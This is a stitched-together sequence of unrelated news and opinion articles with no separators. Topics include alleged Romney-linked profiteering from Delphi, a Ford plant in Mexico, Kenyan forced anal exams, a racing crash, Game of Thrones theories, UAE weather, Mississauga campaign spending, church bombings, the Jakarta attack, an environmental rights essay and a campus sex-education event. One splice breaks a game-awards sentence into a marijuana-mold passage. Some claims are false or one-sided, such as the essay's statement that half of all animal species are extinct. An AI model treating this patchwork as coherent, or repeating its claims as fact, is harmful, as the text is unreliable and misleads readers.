[Watch our Democracy Now! report on the Romney group's auto plant closures.]
The Romney vulture fund investment syndicate shipped every single UAW production job – EVERY job – to China.
Just after Nation broke the story, Washington newsletter The Hill received the Romneys admission of profiteering:
"Romney's campaign did not deny that he profited from the auto bailout in an email to The Hill, but it said the the report showed the Detroit intervention was'misguided.'"
The truth? On June 1, 2009, the Obama Administration announced that Detroit Piston's owner Tom Gores, GM and the US Treasury would buy back Delphi. The plan called for saving 15 of 29 Delphi factories in the US.
Then the vulture funds pounced.
Nation discovered that, in the two weeks immediately following the announcement of the Delphi jobs-saving plan, Paul Singer, Romney's partner, secretly bought up over a billion dollars of old Delphi bonds for pennies on the dollar.
Singer and partners now controlled the company... and killed the return of Delphi to GM.
These facts were revealed in a sworn deposition of Delphi's Chief Financial Officer John Sheehan, confidential, but now released on the web.
Sheehan said, under oath, that these speculators threatened to withhold key parts (steering columns), from GM. This would have brought the auto maker to its knees, immediately forcing GM's permanent closure.
The extortion worked. The government money that was supposed to go to save jobs went to Singer's hedge fund Elliott and its partners, including the Romneys.
Once Singer's crew took control of Delphi, they rapidly completed the move to China, sticking the US taxpayers with the bill for the pensions of the Delphi workers cut loose.
Dan Loeb, a million-dollar donor to the GOP, who made three-quarters of a billion dollars off the legal scam, proudly announced that, once he and Elliott took control, Delphi kept “virtually no North American unionized labor”
In all, three hedge funds run by Romney's million-dollar donors have pocketed $4.2 billion, a return on their "investment" of over 3,000%, all care of the US taxpayer. The Romneys personally earned minimum $15.3 million, though more likely $115 million – a range their campaign does not dispute.
Frankly, I'm no fan of the way Obama handled the Delphi bail-out. Allowing these speculators to crank the US taxpayers for $12.9 billion in subsidies – and losing almost all the auto parts jobs in the process.
But when I heard that Son of a...Detroit, Mr. Romney, tell us, 'I would do nothing to hurt the US auto industry,' I thought I'd lose my dinner. I suggest Romney repeat this directly to the Naylor family of Kokomo, Indiana.
Bruce Naylor lost his job at Delphi, then his health insurance (terminated by the Romney syndicate) - then his home to foreclosure.
Should Obama have done something about that? You bet. If I were the president, I'd have started with putting the vulture speculators out of business – including Elliott's silent, hidden partner, one Mitt Romney.
* Want the full story of Romney's vulture-pack partners? I have several chapters on Paul "The Vulture" Singer and other million-dollar donor magnates backing Romney (and those backing Obama too) in my new book, "Billionaires & Ballot Bandits," with an introduction by Robert F. Kennedy Jr. and illustrations by Ted Rall.
* And a question to the US media: HELLO, ANYBODY HOME?
This info on Romney's profiteering and the shipping of Delphi jobs to China by his cronies is on the COVER of Nation Magazine and in a New York Times bestseller (Billionaires & Ballot Bandits ). So, where is the New York 'Paper of Record'? Or, for that matter, MSNBC?
Bill Press explained it to me when I was on his show this morning, "Sorry, Greg. There's no more investigative reporting in America. No reporters, just repeaters."
That's why I fear Jimmy Carter's statement that, "The American people deserve a president as good as they are." Now I'm afraid that's exactly what we'll get.
-###-
Greg Palast is the author of the New York Times bestsellers The Best Democracy Money Can Buy, Armed Madhouse and Vultures' Picnic. Palast's brand new book Billionaires & Ballot Bandits : How to Steal an Election in 9 Easy Steps, will be out on September 18. You can pre-order Billionaires & Ballot Bandits from Barnes & Noble, Amazon or Indie Bound. Author's proceeds from the book go to the not-for-profit Palast Investigative Fund for reporting on voter protection issues.Ford has confirmed plans for a new assembly plant in Mexico, likely fueling more criticism of the company in the current presidential election.
“We’re going to be in vesting in a new plant in Mexico’s San Luis Potosi state to produce more small cars for North America,” said Ford President of the America’s Joe Hinrichs. “It’s a $1.6 billion U.S. investment that will create 2800 additional direct jobs by 2020.”
Hinrichs told WWJ AutoBeat Reporter Jeff Gilbert that construction will begin this summer. The first small cars will start rolling off the line at the plant in 2018.
While the new jobs will be in Mexico, Hinrichs says they could lead to more engineering and design jobs at the company’s Dearborn headquarters.
But the UAW wasn’t ready to be reassured, calling the announcement a disappointment and “very troubling.”
“For every investment in Mexico it means jobs that could have and should have been available right here in the USA,” said UAW President Dennis Williams in a statement. “This is another example of what’s wrong with NAFTA and why the TPP would be a disaster for the citizens of the United States. Companies continue to run to low-wage countries and import back into the United States. This is a broken system that needs to be fixed.”
Republican presidential candidate Donald Trump has also singled out Ford for criticism, promising to force the company to stop building cars in Mexico. Hinrichs pointed out that Ford is a global manufacturer that builds cars all around the world, and its presence in Mexico is in line with the rest of the auto industry.
“We’re the fifth largest Mexico in Mexico,” said Hinrichs. “We’re the second largest manufacturer in North America. So, you can see how large our presence is here in the U.S.”
Ford also pointed out the company has invested $10.2 billion in the U.S. over the past five years, and will invest $9 billion more in the next four years.
“The last time we built a plant in Mexico was 1986,” said Hinrichs. “That’s been over 30 years. That just shows how much investment we’ve put in the U.S. over the same time period.”
There’s no word yet what Ford products will be build at the new plant in Mexico, or what the capacity of the plant will be. Ford has said that the Focus and C-Max now made at the Wayne Assembly plant will be moving out. It has not confirmed UAW comments that the vehicles will be made in Mexico.
Hinrichs, however, said that Ford needs the additional capacity in the U.S. to build new utilities and crossovers.
“This will not have an effect on U.S. jobs. the Michigan Assembly plant is not expected to have a job loss, with the new products that are coming into that plant. With the four SUVs that we’ve announced are new by 2020 are very important extensions to our portfolio and it allows us to grow.”NAIROBI, Kenya — Human rights groups expressed outrage on Thursday over a Kenyan court’s decision to uphold mandatory anal examinations of men who are suspected of being gay.
In Kenya, a colonial-era law prohibiting “carnal knowledge of any person against the order of nature” is widely understood to prohibit anal sex or sex between men. On Thursday, a court in Mombasa denied a petition to overturn the government’s practice of subjecting men to forced anal exams.
While human rights groups criticized the exams as abusive and medically worthless, government officials argued that they were a useful way to tell if a man was gay.
“This ruling is a devastating precedent that has now heightened the risk and fear of similar anal testing on many lesbian, gay, bisexual, transgender, intersex and queer persons in Kenya,” said Eric Gitari, executive director of the National Gay and Lesbian Human Rights Commission, a Kenyan advocacy group.The promising Roar Before the Rolex 24 test for the DeltaWing has been cut short, with the team confirming on Saturday it will head home early after an accident in Turn 4 during the fourth test session of the weekend.
Memo Rojas, in his second day of running in the now all-white and Claro/Tracfone-backed No. 0 DeltaWing DWC13 coupe, lost the aero through Turn 4, the Kink, and made left side damage to the car’s left rear quarter panel. He was evaluated and released from the infield care center.
The car was brought back to the garage on a flatbed and after the team surveyed the damage, determined it was too extensive to repair on site.
The team will now leave and return to its Braselton, Ga. base to make repairs before the Rolex 24 at Daytona itself. It had planned to depart after Saturday’s running anyway; this just brings the departure schedule time forward to today.
Rojas co-drives with Katherine Legge, Gabby Chaves and Andy Meyrick.
Chaves, who set the car’s fastest time on Friday of 1:39.536 before the team improved another tenth on Saturday to 1:39.484 in session three, was still enthused with the car’s progress this week.
“We know where we need to improve and we’re already so much better than last year,” Chaves said. “We’ll fix this damage and go onto the Rolex 24 itself.”
The DeltaWing completed 12 laps in this session before the accident. In the first three sessions, the team completed 105 laps (29, 48, 26), so the team heads home with a total of 117 laps banked over two days.The promo for the second episode of Game Of Thrones' seventh season has fans freaking out about the impending reunion of Arya Stark and her beloved direwolf, Nymeria. But what if the promo spoiled this particular development to mask another, equally exciting return? Gendry is returning to Game Of Thrones sometime during Season 7, which actor Joe Dempsie confirmed when he showed up to the red carpet of the season's world premiere on July 12. He was mum on exactly when viewers could expect to see Robert Baratheon's handsome bastard resurface… but if the title of Episode 2 is any indication, Gendry could make his triumphant return even sooner than expected.
The followup to the Season 7 premiere is titled, "Stormborn" — which is a pretty clear reference to the Mother of Dragons, who is often referred to as "Daenerys Stormborn" due to the fact that she was born during one of the most powerful and destructive storms in Westerosi history. But most great Game Of Thrones titles have dual meanings. Think of the Season 4 finale "The Children," which not only emphasized the younger generation of characters coming into its own, but also introduced the literal Children of the Forest; or even the Season 7 premiere, "Dragonstone," which referred to Dany's arrival in Westeros, but also Sam's game-changing discovery that the island contains vast amounts of dragonglass, and therefore will be a key factor in the Great War.
tvpromosdb on YouTube
So what else could "Stormborn" refer to besides Daenerys? Well, that's where Gendry comes in. In Westeros, bastards who are born to noble lords and recognized (if not legitimized) by them, earn a surname that denotes the region they're from: Snow in the North, Stone in the Vale, Rivers in the Riverlands, Hill in the Westerlands, Flowers in the Reach, Pyke on the Iron Islands, Sand in Dorne, Waters in the Crownlands, and Storm in the Stormlands.
Now, since Robert never recognized Gendry as his bastard, Gendry never received a surname — and even if he did, it probably would have been Waters, since he grew up in King's Landing. But the show's version of Gendry took on the role of another bastard in the books. In George R.R. Martin's story, Gendry was never taken to Dragonstone and used for Melisandre's blood magic; that was a totally separate bastard named Edric Storm, whom the show combined with Gendry for expediency's sake. So "Storm" could be a subtle reference to Gendry's counterpart Edric Storm for savvy book readers.
Even more promisingly, there's the fact that the noble houses of the Stormlands — including the Baratheons, who used to rule the region from the impregnable castle Storm's End — are often referred to as the "storm lords." Given that he's Robert Baratheon's son, Gendry was literally "born of a storm."
So could Gendry be making his first appearance since he rowed away from Dragonstone in the Season 3 finale in July 23's "Stormborn"? Given that there's been very little indication of his return in the show's promo or episode descriptions, and zero reference to the character on the show itself, an abrupt reappearance in the second episode may seem sudden — but when you consider the fact that there's only a measly six episodes left this season, Gendry really should return sooner rather than later if the character is going to have any significant impact on the plot.
Whether he returns in Episode 2 or a bit later, what impact will Gendry have on the story moving forward? As the last remaining offspring of the late king Robert Baratheon, he might be the only person who could destabilize Cersei's claim to the Iron Throne… which might come in handy for anyone looking to seize the throne for himself — or herself, more accurately.
Emergency Awesome on YouTube
After all, when Daenerys sailed to Westeros, she left her paramour Daario Naharis behind in Meereen, because she knew she needed to leave herself open to a marriage alliance that would help her consolidate support within the Seven Kingdoms. For years, fans have assumed that the series (both onscreen and on the page) was working towards a marriage between Jon Snow and Daenerys Targaryen — a literal marriage of ice and fire. But that particular development has seemed so obvious for so long now, that it feels almost certain that a twist is in store… and there's no choice of husband that would be more politically advantageous to Dany than the son of the Usurper himself.
By marrying Gendry, Daenerys would unite both Targaryen supporters and those still loyal to the Baratheon regime in one fell swoop — leaving the Lannisters with precious little support. It might previously have seemed like a stretch to imagine Dany allying with the House that overthrew her father's reign; but the enemy of my enemy is your friend, and Gendry of course had nothing to with Robert's Rebellion anyway.
In any case, Dany could certainly do worse for a husband…
Will Gendry make his triumphant return in "Stormborn"? Could he be the "unexpected visitor" who Daenerys receives in Episode 2's vague description? Will the handsome bastard and the fierce dragon queen find common cause through marriage? Hopefully Game Of Thrones won't leave fans hanging on Gendry's fate for too much longer.Seems like we'd get along, you and me. You guys know a good game when you see one, and after compiling all of the lists that you made and totaling up the points, BioWare's Mass Effect 2 is your Game of the Year for 2010.Below, I've included the top 60 games, which is maybe |
mold.
It’s always advisable to not smoke marijuana with mold, however those that are willing to take the risk are advised to bake their marijuana in a oven on 300 degrees for 15 minutes to eliminate some common forms of mold. While on the subject of baking marijuana, it is important to note that most mold is far more dangerous when ingested than inhaled, which means you should be extra careful of mold when putting marijuana into edible treats. Filtering smoke through a water pipe or bong does not prevent you from inhaling mold, although some sources say it can help reduce about 15% of the mold.
Although the exact moisture content is impossible to tell, by learning what to look for, consumers can prevent purchasing moldy marijuana and determine whether questionable buds should be smoked or thrown out. As marijuana becomes a more accepted form of medicine for seriously ill patients, mold education becomes even more important for care givers and government regulators to insure patients are protected due to them being more susceptible to the effects of mold than average recreational users.By Staff with Wam
The mercury has been gradually climbing the past 24 hours, with another slight rise in temperatures forecasted for the UAE on Thursday.
However, if you are in Ras Al Khaimah mountains, the lowest average is still around five degrees Celsius, with the recent rainfall in the area cooling down the surroundings.
While the average temperatures in the coast and internal areas are expected to hover in the mid-twenties at its highest, the late evening will also see humidity levels creep northwards, giving rise to early morning fog over those parts on Friday.
The partly cloudy skies will provide some relief, with light to moderate winds bringing in some fresh air.
The sea is expected to be slight to moderate.
Foggy Tuesday
The skies will be partly cloudy in general and cloudy at times over some areas in the UAE on Tuesday, according to the National Centre of Meteorology and Seismology (NCMS).
Meanwhile, the coming 48 hours will witness a spike in humidity levels, giving rise to inland fog and mist on Tuesday and Wednesday, before cloud cover could give way to further rainfall on the latter day.
The winds will be moderate in general and freshening at times, especially over the sea.
Relative humidity will increase during the night and early in the morning over the interior and the coastal areas, with a chance of fog forming over some areas, especially in the interiors.
The winds will be westerly to north-westerly at a speed of 25-35 kmph over land, and north-westerly at a speed of 45-50 kmph over the sea.
Cooler Monday
Even as the UAE wipes down its rain boots following Sunday’s deluge, it may be premature to put away those umbrellas just yet.
The country’s National Centre for Meteorology and Seismology (NCMS) has forecasted more rain on the horizon with light showers.
The soaring temperatures that have been hovering close to 30 degrees Celsius this past week, including yesterday’s highest recorded as 27.2°C in Fujairah Port, will finally dip to bring cooling climes to the UAE.
Today’s lowest temperature was recorded as 5.2°C at Jebel Mebreh at 6.30am; a far cry and a five degree dip from Sunday’s lowest at 10.7°C at Jebel Jais at 7.15am.
However, the NCMS has warned residents and motorists of increasing fresh to strong winds over the country on Monday, which could give rise to dust and sand over open areas and hinder horizontal visibility.
Revellers and anglers heading out to sea today are also being warned with ‘very rough’ weather ahead in the Arabian Gulf and the Oman Sea.
Rainy Sunday
Residents of Abu Dhabi city woke up in the early hours of the morning to overcast skies before it started to pour down amidst forecast that rain in the UAE and other Gulf countries would continue through the day and tomorrow.
Heavy rain lashed the neat streets of the capital of around 1.5 million people early this morning and it continued in the following hours.
Big lines of cars were seen in some streets while fire engines and ambulances were heard unleashing their sirens in some parts of the city.
Witnesses said some minor accidents occurred on the city’s slippery roads to low visibility caused by the heavy downpour.
NCMS - what not to do?
The National Center of Meteorology and Seismology (NCMS) has recommended some measures for safe behaviour, given that the rain is expected to continue today and tomorrow.
Accord to a report in Emarat Al Youm, the sea is forecast to be severely agitated. The NCMS has called on fishermen and sea-goers to take all precautions during the thunderstorm activity.
The NCMS also advised the public to be extra cautious while driving and to keep away from valleys and rainwater catchments.
Cold and wet
The lowest temperature recorded in the country this morning was 10.7°C on the Jess mountain at 7.15 am.
By 9am, Ras Al Khaimah also reported downpours, as the wet weather spread across the UAE.
Showers were also reported by the National Center for Meteorology and Seismology (NCMS) in Sharjah at 8am.
Dubai residents woke up to a rainy Sunday morning with rain in Jebel Ali on Saturday night spreading out across the emirate.
An E24|7 reader reported that it was drizzling at 6am on Sheikh Zayed Road.
Dubai Police cautioned motorists early morning and tweeted, "Reduce speed during heavy rain to avoid sudden sliding of your vehicle."
Wet roads in Discovery Gardens this morning. (Supplied)
Another reader, called in to say a proper early morning shower was underway in Jebel Ali.
A steady shower was also reported from Jumeirah Lakes Towers (JLT) at 7am.
Rain in JLT this morning. (Supplied)
“Rains reported in Jebel Ali,” The National Center for Meteorology and Seismology (NCMS) tweeted last night.
Another tweet read: “Scattered rain over Liwa and some areas of Abu Dhabi.”
On Saturday, the weather department warned about rain associated with fresh to strong winds. The sea was forecast to be rough to very rough.MISSISSAUGA — So, how much does it cost to run for mayor of Mississauga?
And, the real question on many people’s minds is how much does it cost to run and win?
Those looking for an answer to that question will have to wait, however, until later this year as Mayor Bonnie Crombie has applied for, and was granted, an extension on filing her election expenses until May 15. In her letter to the court dated March 25, Crombie states that she “only recently received a draft of my filing from the auditor” and it raised a number of “unanticipated concerns” including missing addresses for donors and corporate contributors who might be, but aren’t necessarily, related.
“By my count, there (are) over 400 pieces of missing information,” reads the letter. “As such, I believe more time is required to ensure that all information filed is accurate. I understand the importance of transparency and the need to be as accurate in the filing of election expenses as possible. It is for this reason that (I) request a short extension in order to ensure my filing is done to the best of my ability.”
Crombie’s main competitor in the race, Steve Mahoney, has filed his expense statement and it shows he spent nearly to the $384,775 limit and came in at $371,214 in total expenses for the election. His total amount of contributions was $227,243.
Mahoney has reported a deficit of $143,971.
Mahoney finished second in the race, capturing about 29 per cent of the vote compared to Crombie’s 63 per cent.
Dil Muhammad, who finished third with 1.51 per cent of the vote, spent $152,309. He has reported a deficit from the campaign of $144,809.
However, not all the mayoral candidates spent hundreds of thousands of dollars in their bid.
Stephen King, who finished in fourth after capturing 1.16 per cent of the vote, spent a paltry $3,183. Masood Khan, who finished fifth and captured 0.78 per cent of the vote, spent $2,058.Two explosive devices detonated within minutes of each other Sunday morning at churches in Las Cruces.Authorities said the first device went off in a mailbox at the Calvary Baptist Church, and the second device exploded in a trash bin at the Holy Cross Catholic Church.Investigators said the device at Calvary Baptist Church detonated at 8:30 a.m., and the device at Holy Cross Catholic Church exploded in a trash bin at 8:45 a.m., shattering a stained-glass window.No injuries were reported in either explosion.The FBI is joining the Las Cruces Police Department in the investigation.Officials said the 1800 block of Locust Street and the 1100 block of Miranda Street were closed during the investigation.Investigators are looking into the type of explosives used and if both incidents are connected.They are also following several leads for possible suspects.Other churches have been put on alert.Gov. Susana Martinez returned to Las Cruces Sunday night, where she used to be District Attorney, and had strong words for whoever did this."Only a coward would place an explosive device at a place of peace and a place of worship," Martinez said. "Whoever did this will feel the full pressure of the law."Meanwhile, the FBI has set up a hotline at 800-CALL-FBI if anyone has any information.MOBILE USERS: Tap here for video
Two explosive devices detonated within minutes of each other Sunday morning at churches in Las Cruces.
Authorities said the first device went off in a mailbox at the Calvary Baptist Church, and the second device exploded in a trash bin at the Holy Cross Catholic Church.
Advertisement Related Content Authorities ask for public help in probe of church blasts
Investigators said the device at Calvary Baptist Church detonated at 8:30 a.m., and the device at Holy Cross Catholic Church exploded in a trash bin at 8:45 a.m., shattering a stained-glass window.
No injuries were reported in either explosion.
The FBI is joining the Las Cruces Police Department in the investigation.
Officials said the 1800 block of Locust Street and the 1100 block of Miranda Street were closed during the investigation.
Investigators are looking into the type of explosives used and if both incidents are connected.
They are also following several leads for possible suspects.
Other churches have been put on alert.
Gov. Susana Martinez returned to Las Cruces Sunday night, where she used to be District Attorney, and had strong words for whoever did this.
"Only a coward would place an explosive device at a place of peace and a place of worship," Martinez said. "Whoever did this will feel the full pressure of the law."
Meanwhile, the FBI has set up a hotline at 800-CALL-FBI if anyone has any information.
MOBILE USERS: Tap here for video
AlertMeTerrorists Hit Jakarta, And Indonesians Say "#KamiTidakTakut" — We Are Not Afraid
Enlarge this image toggle caption Adek Berry/AFP/Getty Images Adek Berry/AFP/Getty Images
Attackers set off explosions inside or near a Starbucks in a busy shopping area in Indonesia's capital city Thursday, killing at least seven people — including five attackers — and injuring more than a dozen others, according to police and officials. In the hours since the assault, people in Jakarta have taken to Twitter to declare, "We Are Not Afraid."
Indonesian President Joko Widodo says the situation is now under control. He visited the site hours after the attack, walking down the middle of a street in Indonesia's capital that's lined with Western brands such as Burger King and Pizza Hut.
At least one of the civilians killed and four of those injured were believed to be foreigners, police say. The U.N. Environment Programme said a Dutch staff member is among the injured.
Images from the scene show the Starbucks cafe's windows were blown out — and in startling footage that's been posted online, an amateur video caught what seems to be another explosion that followed, occurring in clear view next to a parked van. (We'll warn you that in its final seconds, the video shows a fiery explosion engulfing several people.)
Many suspect ISIS either helped plan or inspired the attack. NPR's Dina Temple-Raston reports that ISIS claimed responsibility on a website linked to the extremist group.
The attack occurred around midmorning on a sunny day along Jalan Thamrin, one of Jakarta's main streets. According to local and wire reports, three suicide bombers set off their explosives — and then two gunmen opened fire on a police post. A gun battle ensued, with police taking cover behind vehicles in the street.
National Police spokesman Inspector General Anton Charliyan is quoted by the AP as saying, "They imitated the terror actions in Paris... they are likely from the (Islamic State) group."
Charliyan also said that after November's attacks in Paris, authorities in Indonesia were warned that their country could also be targeted.
People in Indonesia are responding to the attack with defiance — in Jakarta, "We Are Not Afraid" — #KamiTidakTakut — became the top-trending topic. And a man took to Instagram to post a photo of himself enjoying one of Starbucks' coffee drinks. The image quickly racked up more than 18,000 likes.
Discussing the history of terrorist attacks in Indonesia, NPR's Anthony Kuhn tells our Newscast unit:
"In recent years, Indonesian security forces have effectively kept domestic terrorism in check, and they have killed or jailed many militants. Terrorists haven't had the capacity to mount any major attacks since 2009, when suicide bombers attacked the Marriott and Ritz-Carlton hotels in Jakarta. Today's attacks would appear to be the most serious since then."
This is a breaking news story, and even information that's released by official channels is subject to clarification or correction. We'll update this post as needed.Community Rights Paper #13: Breaking the Planet
“And then, we wept.” Such were the words of Professor Terry Hughes, the head of the Centre of Excellence for Coral Reef Studies at James Cook University in Queensland, Australia. Hughes was responding to the Centre’s recent findings that over 90 percent of the Great Barrier Reef is experiencing bleaching, and that northern portions of the reef are now half-dead. The Great Barrier Reef isn’t the first ocean ecosystem to be hit by the effects of global warming, of course – mass coral death around the Pacific island nation of Kiribati was reported earlier in 2016, and new studies confirm that these are part of a massive ocean die-off of coral. Those surprised at the results of these studies – which document the ongoing demise of the planet’s major ecosystems – simply haven’t been paying attention. Even to the most casual of observers, it has become clear that our little blue orb has suffered long and hard from the effects of human occupation. What’s surprising isn’t that we’re now seeing the effects of that occupation, but that the planet has been able to bear it for so long. In the United States alone, 4 billion pounds of toxic chemicals – including 72 million pounds of known carcinogens – are released into the atmosphere each year from 20,000 industrial polluters. Two trillion pounds of livestock waste – laced with antibiotics, hormones, and chemicals – are dumped into waterways and applied to land. Eleven million people now live within one mile of a federal Superfund site. Eighty thousand industrial chemicals are currently in use, with more than 700 of those chemicals now found within every human body. Eighteen hundred new chemicals are introduced annually.
If anything could surprise us at this point, perhaps it’s learning that over forty years after the major U.S. environmental laws were passed, the environment is worse than ever. Forty percent of our waterways fail to meet even the most basic standards imposed by federal and state clean water laws, 90 percent of the country’s forests have been logged, and half of all animal species on earth have been driven to extinction. We’ve broken the planet. And there’s far more on the horizon. Today a growing number of climate scientists agree that predictions about the worst effects of global warming now appear to be downright optimistic. The arrogance of the human race – that we can continue to exhaust the planet that gives us life while avoiding any adverse consequences to our own survival – lies at the base of our current tragedy. The belief that endless economic growth is not only possible, but necessary for our daily lives, serves as the underlying platform for the legal and economic systems that are driving the world off the cliff. To be clear, clearcutting, pollution, fracking, and the like aren’t what’s killing the planet. Rather, it’s the manic belief system that we can do those things without repercussion, that somehow the human race has been elevated above the basic laws of nature. It’s delusion of the highest order, and like Icarus melting his wax wings by flying too close to the sun, we too have begun to plummet to the ground.
Waiting for Godot We do not have the luxury of waiting for prevailing belief systems to change to finally affect the decision making of those currently in power. Rather, says Mary Geddry, “We must revoke our consent to be governed.” Geddry, a community leader in Coos Bay, Oregon, is working to stop a proposed new gas pipeline from coming into her community. She explains that to effect real change, we must replace our permission for others to govern us by assuming the mantle of governing ourselves. People like Geddry are calling for the emergence of a time similar to that when Americans seized control of the colonies from Great Britain; when slaves rose in Haiti; when abolitionists and slaves broke their manacles in Britain and the U.S.; when suffragists forced their way into the ballot box; when farmers joined together in the late 1800s to challenge the banks and the railroad corporations; and when civil rights protesters dared to march.
Over the past one hundred years or so, our “consent to be governed” by others has turned us into rubberstamps for an unholy alliance of professionals – lifetime politicians, large corporations, and a small elite of policy-makers who profit from control over politics, the economy, and our system of law. Our “consent” has been turned into such a mockery that we’ve come to believe that we’re incapable of governing ourselves. Indeed, we believe that we would be lost without those professionals managing our complex political, economic, and legal systems. It is that belief in our own dependency which makes us so vulnerable to manipulation. It is that belief which makes it so easy to present us with superficial choices which aren’t really choices at all (the 2016 presidential primaries an excellent case in point). And yet we earnestly believe that we’re deciding for ourselves. It’s as if the choice between paper versus plastic at the grocery store has invaded all facets of our life. Instead of being in charge, we’re increasingly divorced from being able to make real decisions that actually matter to our survival. It is a farce to call any of this democracy. The first step, the hardest one of all to take, is to cleanse our brains of all that we’ve been fed – like mushrooms in the dark that have been fertilized with shit – and understand that not only are we the best qualified to make decisions about the future, but that we’re the only ones who can. In short, we must begin to believe that we’re not only capable of seizing the power to make critical decisions about the future, but that we would make them better than those currently in charge.
It is a farce to call any of this democracy.
Reversing Course to Save Ourselves Beginning nearly a decade ago, the people of Tamaqua Borough, Pennsylvania, a small enclave of 7,000 people in the rural Schuylkill area part of the state, began to believe. Faced with a state plan to dump PCB-laden river dredge into abandoned deep mines, along with a slew of other projects that over the last century have turned parts of their county into cancer clusters, the people of Tamaqua gave up hope. They gave up hope that state and federal environmental agencies would protect them, or that their state government was working on their behalf. They gave up hope that the unholy alliance of those who governed them actually cared about what happened to the people and natural environment of Tamaqua. The people in Tamaqua then proceeded to do what people and communities have historically done when they’ve come to grips with the failure of their own government to help them – they revoked their consent to be governed and took steps to govern themselves. Their first step was to adopt a law that banned the dumping of PCB dredge. The law contained a local bill of rights, which included a right to clean air and water. Further, it reaffirmed their right to govern themselves as a community, and elevated that right above the rights claimed by waste corporations and the state government to force toxic dredge into their community. Seizing powers that the current system of law denies that they have, the people of Tamaqua understood that if they didn’t exercise those powers, that they were guaranteed to receive the dredge. They further understood that only by driving their own municipality up against both the corporations and the state government – in a giant game of chicken – did they stand any chance of not becoming a dumping ground again. That was lightning in a bottle by itself. But they didn’t stop there. Understanding that protecting the people of Tamaqua required protecting the natural environment upon which the human race depends, they adopted a law that recognized ecosystems within the Borough – groundwater, streams, and rivers specifically – as having legally enforceable, independent rights to be free from toxic dredge.
Their law openly and directly refuted one of the most fundamental rules of the system that has brought us to this place – that nature has no rights of its own – such that ecosystems can be used and exploited by whomever owns them, or by whomever holds a permit to pollute them. Several years after Tamaqua adopted its law, the people of Ecuador would arrive at a similar conclusion – voting to adopt a new national constitution that recognized that all ecosystems in Ecuador must be afforded basic rights – the right to exist, flourish, and naturally evolve. The first case to be brought in Ecuador under those constitutional provisions –Vilcabamba River v. the Province of Loja – resulted in a ruling upholding the constitutional rights of the river to flow, against a local government’s dumping of road debris into the river. Since then, the constitutional rights of nature have been invoked in several cases, including by the national government itself in actions aimed at stopping illegal gold mining.
The Rights of Nature – Liberation Ecology In the 1950s, a new strain of Catholicism arose against dictatorial governments and severe poverty in Latin America. Called “liberation theology,” priests cast Jesus as a political figure and revolutionary who sought to free the poor from an oppressive governmental elite. Priests decentralized the practice of Christianity, transforming disenfranchised communities from being the object of church teaching to becoming direct interpreters of the Bible and designers of their own worship services. Liberation theology became a threat to the church by critiquing the economic and social structures on which the church structure relied. In response, the Vatican ordered purges of Catholic priests to suppress the doctrine. The community rights movement emerging in the United States has much in common with the major themes of liberation theology, in seeking to decentralize decision making authority to marginalized communities, and positing that the highest role of the law is the protection of human and natural communities, rather than protection of the ruling elite. Its critique is much the same – that an unholy alliance of governmental and corporate elites prey on communities, and people have no choice but to submit to fracking and other corporate projects, thus allowing the elite to expand their power over people and nature. While “liberation ecology” has been used in the past to describe the authority of human communities to serve as good stewards of the planet, it must go further – towards an expansion of community lawmaking which recognizes nature not as property to be well-used and conserved by humans, but as possessing the highest rights protections capable of being afforded by our system of governance. Without a true liberation ecology activism – in which community democratic authority is expanded to enable people to ban that which harms human and natural communities, and to begin to construct a new system which affords those communities the highest protections of the law – dependence on the old order will guarantee the destruction of the planet continues.
Ecosystem rights must be enforced against those causing global warming.
The Way Forward Whether it’s bleaching of the Great Barrier Reef in Australia, the slow death of Lake Erie and the Chesapeake Bay in the United States, disappearing glaciers around the globe, or an ice-free Himalaya, people that are part of those vanishing ecosystems must act to harness their own governmental power to protect them. People in Toledo and other Ohio municipalities must adopt a Lake Erie Bill of Rights; Australia’s cities, local councils, shires, and district councils must adopt a Great Barrier Reef Bill of Rights; municipalities bordering the Chesapeake Bay must adopt a Chesapeake Bay Bill of Rights; local governments in Nepal must adopt a Himalayan Bill of Rights. As in Ecuador, people in those places – with the help of those with resources who care about the planet – must step into the shoes of those ocean, estuary, bay, mountain, and other ecosystems to use every judicial, legislative, and other institution in existence to stop that which threatens them. Precisely because the health and well-being of those ecosystems are dependent upon a planetary climate which can support them, ecosystem rights must also then be enforced against those actors – both private and governmental – who are violating those rights by causing global warming. That may mean directly challenging international norms – by providing for jurisdiction of those lawsuits in community “climate courts” established for exactly that purpose. In response to fracking, new gas pipelines, and a slew of energy projects, communities across the United States have begun to adopt local laws which recognize a right to, and a right of, the climate to be free from fossil fuel emissions. Those laws must then be used to drive lawsuits and new laws that begin to reverse climate change. To do anything else means relying on those who are destroying the planet to voluntarily restrain themselves from doing so. That’s akin to hoping that the slave owners of the 1840s would abolish slavery on their own, or that Woolworths would voluntarily desegregate its lunch counters. As Kiribati and other small island nations sink into the sea, as the die-off of land and ocean species accelerates, we must ask what actions should be deemed too radical to remedy the radical damage that is being done to the planet and ourselves. Past people’s movements were forced to ask similar questions, and similarly, were forced to admit that the institutions which created and depended on the existing system were incapable and uninterested in extracting them from it. They built mass movements to change the existing order. It’s time we do the same. Please make a donation. Your support makes our work with communities to build the Community Rights Movement possible. DONATE Community Rights Paper #13: Breaking the Planet Featured image: Dry Riverbed by Shever – Reprinted from Flickr Creative Commons
Donate to CELDFThe University of Minnesota - Twin Cities (UMTC) is set to hold an event this spring designed to help its female undergraduate students achieve more and greater orgasms.
The university’s official online description of the event entitled, “The Female Orgasm,” describes it as open to both male and female students.
“Orgasm aficionados and beginners of all genders are welcome to come learn about everything from multiple orgasms to that mysterious G-spot,” reads the description posted on the school’s official events calendar.
“Whether you want to learn how to have your first orgasm, how to have better ones, or how to help you girlfriend, Kate and Marshall cover it all…” it adds.
“Are you coming?” it asks.
The description of the event, which is hosted by the university’s Office of Diversity and Equity's Women's Center, does not say whether there is an age requirement. While the average age of undergraduates at UMTC is 21, it is not uncommon for students to enroll at the age of 17.
A university spokeswoman, Patricia Mattern, however, suggested there is in fact no age requirement in an e-mail statement to Campus Reform on Monday.
“This educational workshop is open to the full university community and participation is voluntary,” she said. “As a research institution, we study, publish and educate on a vast range of topics, including human sexuality.”
The program is costing the university $3,406 and is part of the university’s mission of “research,” she added.
The event is to be taught by “sex educators” Marshall Miller and Kate Weinberg. Miller and Weinberg have conducted similar programs at other universities from across the country.
Their website states their programs “use a mixture of interactive activities, lecture, discussion, multimedia, funny stories, and question and answer.”
“Nothing embarrasses us, and no topic is too basic or risqué,” it adds.
Miller previously told Yahoo News about how “amazing” it would have been to “be a fly on the White House bedroom wall during the JFK presidency” and watch the president engage in sexual escapades.
